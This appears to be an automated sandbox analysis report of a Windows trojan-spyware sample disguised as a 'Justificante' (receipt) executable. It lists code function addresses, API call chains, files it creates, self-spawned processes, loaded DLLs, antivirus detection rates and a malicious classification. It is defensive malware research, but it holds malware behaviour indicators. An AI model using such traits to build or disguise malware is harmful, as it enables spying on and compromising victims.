Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4_2_36109FC8	4_2_36109FC8
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4_2_36100DF0	4_2_36100DF0
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4_2_361087F0	4_2_361087F0
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4_2_3610DDF0	4_2_3610DDF0
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4_2_361048F7	4_2_361048F7
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4_2_36101FF8	4_2_36101FF8
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4_2_3610B2F8	4_2_3610B2F8
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4_2_36106FFB	4_2_36106FFB
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4_2_361016FF	4_2_361016FF
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4_2_36109AFF	4_2_36109AFF
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4_2_3610CAE0	4_2_3610CAE0
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4_2_36100DE0	4_2_36100DE0
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4_2_361087E0	4_2_361087E0
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4_2_3610F5E1	4_2_3610F5E1
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4_2_36103FE8	4_2_36103FE8
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4_2_3610F5E8	4_2_3610F5E8
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4_2_36101FE8	4_2_36101FE8
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4_2_3610B2E8	4_2_3610B2E8
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4_2_3613DA30	4_2_3613DA30
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4_2_361373E0	4_2_361373E0
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4_2_36135E00	4_2_36135E00
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4_2_36132C00	4_2_36132C00
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4_2_36134820	4_2_36134820
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4_2_36131620	4_2_36131620
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4_2_36136440	4_2_36136440
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4_2_36133240	4_2_36133240
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4_2_36130040	4_2_36130040
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4_2_36134E60	4_2_36134E60
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4_2_36131C60	4_2_36131C60
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4_2_36136A80	4_2_36136A80
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4_2_36133880	4_2_36133880
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4_2_36130680	4_2_36130680
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4_2_361354A0	4_2_361354A0
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4_2_361322A0	4_2_361322A0
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4_2_361370C0	4_2_361370C0
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4_2_36133EC0	4_2_36133EC0
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4_2_36130CC0	4_2_36130CC0
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4_2_361312FB	4_2_361312FB
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4_2_36135AE0	4_2_36135AE0
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4_2_361328E0	4_2_361328E0
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4_2_36139CE8	4_2_36139CE8
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4_2_36134500	4_2_36134500
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4_2_36131300	4_2_36131300
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4_2_36136120	4_2_36136120
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4_2_36132F20	4_2_36132F20
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4_2_3613035B	4_2_3613035B
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4_2_36134B40	4_2_36134B40
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4_2_36131940	4_2_36131940
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4_2_36133560	4_2_36133560
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4_2_36130360	4_2_36130360
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4_2_36136760	4_2_36136760
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4_2_3613F168	4_2_3613F168
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4_2_36135180	4_2_36135180
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4_2_36131F80	4_2_36131F80
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4_2_36133BA0	4_2_36133BA0
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4_2_361309A0	4_2_361309A0
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4_2_36136DA0	4_2_36136DA0
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4_2_361357C0	4_2_361357C0
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4_2_361325C0	4_2_361325C0
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4_2_361341E0	4_2_361341E0
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4_2_36130FE0	4_2_36130FE0
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4_2_36148470	4_2_36148470
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4_2_3614A090	4_2_3614A090
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4_2_36141CF0	4_2_36141CF0
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4_2_3614FB30	4_2_3614FB30
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4_2_36149410	4_2_36149410
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4_2_3614F810	4_2_3614F810
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4_2_3614C610	4_2_3614C610
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4_2_36140006	4_2_36140006
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4_2_3614B030	4_2_3614B030
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4_2_3614E230	4_2_3614E230
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4_2_36141821	4_2_36141821
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4_2_36141828	4_2_36141828
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4_2_36149A50	4_2_36149A50
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4_2_3614CC50	4_2_3614CC50
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4_2_36140040	4_2_36140040
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4_2_3614E870	4_2_3614E870
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4_2_3614B670	4_2_3614B670
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4_2_3614E861	4_2_3614E861
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4_2_3614D290	4_2_3614D290
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4_2_36140E93	4_2_36140E93
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4_2_36140E98	4_2_36140E98
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4_2_3614BCB0	4_2_3614BCB0
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4_2_36148AB0	4_2_36148AB0
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4_2_3614EEB0	4_2_3614EEB0
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4_2_3614D8D0	4_2_3614D8D0
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4_2_3614A6D0	4_2_3614A6D0
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4_2_3614F4F0	4_2_3614F4F0
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4_2_361490F0	4_2_361490F0
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4_2_3614C2F0	4_2_3614C2F0
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4_2_361404FF	4_2_361404FF
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4_2_36141CE0	4_2_36141CE0
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4_2_3614AD10	4_2_3614AD10
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4_2_3614DF10	4_2_3614DF10
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4_2_36140508	4_2_36140508
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4_2_36149730	4_2_36149730
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4_2_3614C930	4_2_3614C930
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4_2_3614E550	4_2_3614E550
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4_2_3614B350	4_2_3614B350
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4_2_36141359	4_2_36141359
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4_2_36149D70	4_2_36149D70
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4_2_3614CF70	4_2_3614CF70
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4_2_36141360	4_2_36141360
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4_2_3614B990	4_2_3614B990
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4_2_36148790	4_2_36148790
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4_2_3614EB90	4_2_3614EB90
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4_2_3614A3B0	4_2_3614A3B0
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4_2_3614D5B0	4_2_3614D5B0
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4_2_3614F1D0	4_2_3614F1D0
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4_2_361409D0	4_2_361409D0
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4_2_36148DD0	4_2_36148DD0
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4_2_3614BFD0	4_2_3614BFD0
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4_2_361409CD	4_2_361409CD
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4_2_3614DBF0	4_2_3614DBF0
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4_2_3614A9F0	4_2_3614A9F0
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4_2_361435E9	4_2_361435E9
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4_2_361616D8	4_2_361616D8
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4_2_361632B0	4_2_361632B0
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4_2_36161DF8	4_2_36161DF8
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4_2_36163998	4_2_36163998
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4_2_361624E0	4_2_361624E0
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4_2_36164263	4_2_36164263
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4_2_36160FF0	4_2_36160FF0
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4_2_36162BC8	4_2_36162BC8
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4_2_361616CE	4_2_361616CE
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4_2_361632A0	4_2_361632A0
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4_2_36161DE8	4_2_36161DE8
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4_2_36163989	4_2_36163989
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4_2_361624D0	4_2_361624D0
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4_2_361601D8	4_2_361601D8
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4_2_361601E8	4_2_361601E8
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4_2_36160FE0	4_2_36160FE0
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4_2_36160C32	4_2_36160C32
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4_2_36160C78	4_2_36160C78
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4_2_36162BB9	4_2_36162BB9
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4_2_36160BFD	4_2_36160BFD
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4_2_367FB911	4_2_367FB911
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4_2_367F1B4C	4_2_367F1B4C
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4_2_367F4958	4_2_367F4958

Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe

Code function: String function: 00402BCE appears 50 times

Source: Justificante67ab404ffe31b359e00a499e656454545.exe

Static PE information: invalid certificate

Source: Justificante67ab404ffe31b359e00a499e656454545.exe, 00000004.00000002.2954495330.0000000032C67000.00000004.00000010.00020000.00000000.sdmp

Binary or memory string: OriginalFilenameUNKNOWN_FILET vs Justificante67ab404ffe31b359e00a499e656454545.exe

Source: Justificante67ab404ffe31b359e00a499e656454545.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@3/14@5/5

Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 0_2_00403348 EntryPoint,SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoA,GetCommandLineA,CharNextA,GetTempPathA,GetTempPathA,GetWindowsDirectoryA,lstrcatA,GetTempPathA,lstrcatA,SetEnvironmentVariableA,SetEnvironmentVariableA,SetEnvironmentVariableA,DeleteFileA,OleUninitialize,ExitProcess,lstrcatA,lstrcatA,lstrcatA,lstrcmpiA,SetCurrentDirectoryA,DeleteFileA,CopyFileA,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,		0_2_00403348
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Code function: 4_2_00403348 EntryPoint,SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoA,GetCommandLineA,CharNextA,GetTempPathA,GetTempPathA,GetWindowsDirectoryA,lstrcatA,GetTempPathA,lstrcatA,SetEnvironmentVariableA,SetEnvironmentVariableA,SetEnvironmentVariableA,DeleteFileA,OleUninitialize,ExitProcess,lstrcatA,lstrcatA,lstrcatA,lstrcmpiA,SetCurrentDirectoryA,DeleteFileA,CopyFileA,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,		4_2_00403348

Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe

Code function: 0_2_0040460D GetDlgItem,SetWindowTextA,SHBrowseForFolderA,CoTaskMemFree,lstrcmpiA,lstrcatA,SetDlgItemTextA,GetDiskFreeSpaceA,MulDiv,SetDlgItemTextA,

0_2_0040460D

Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe

Code function: 0_2_0040216B CoCreateInstance,MultiByteToWideChar,

0_2_0040216B

Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe

File created: C:\Program Files (x86)\Hypotesers

Jump to behavior

Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\dogging

Jump to behavior

Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe

Mutant created: NULL

Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe

File created: C:\Users\user\AppData\Local\Temp\nsn1557.tmp

Jump to behavior

Source: Justificante67ab404ffe31b359e00a499e656454545.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: Justificante67ab404ffe31b359e00a499e656454545.exe	Virustotal: Detection: 29%
Source: Justificante67ab404ffe31b359e00a499e656454545.exe	ReversingLabs: Detection: 62%

Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe

File read: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe "C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe"
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Process created: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe "C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe"
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Process created: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe "C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe"	Jump to behavior

Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\Justificante67ab404ffe31b359e00a499e656454545.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
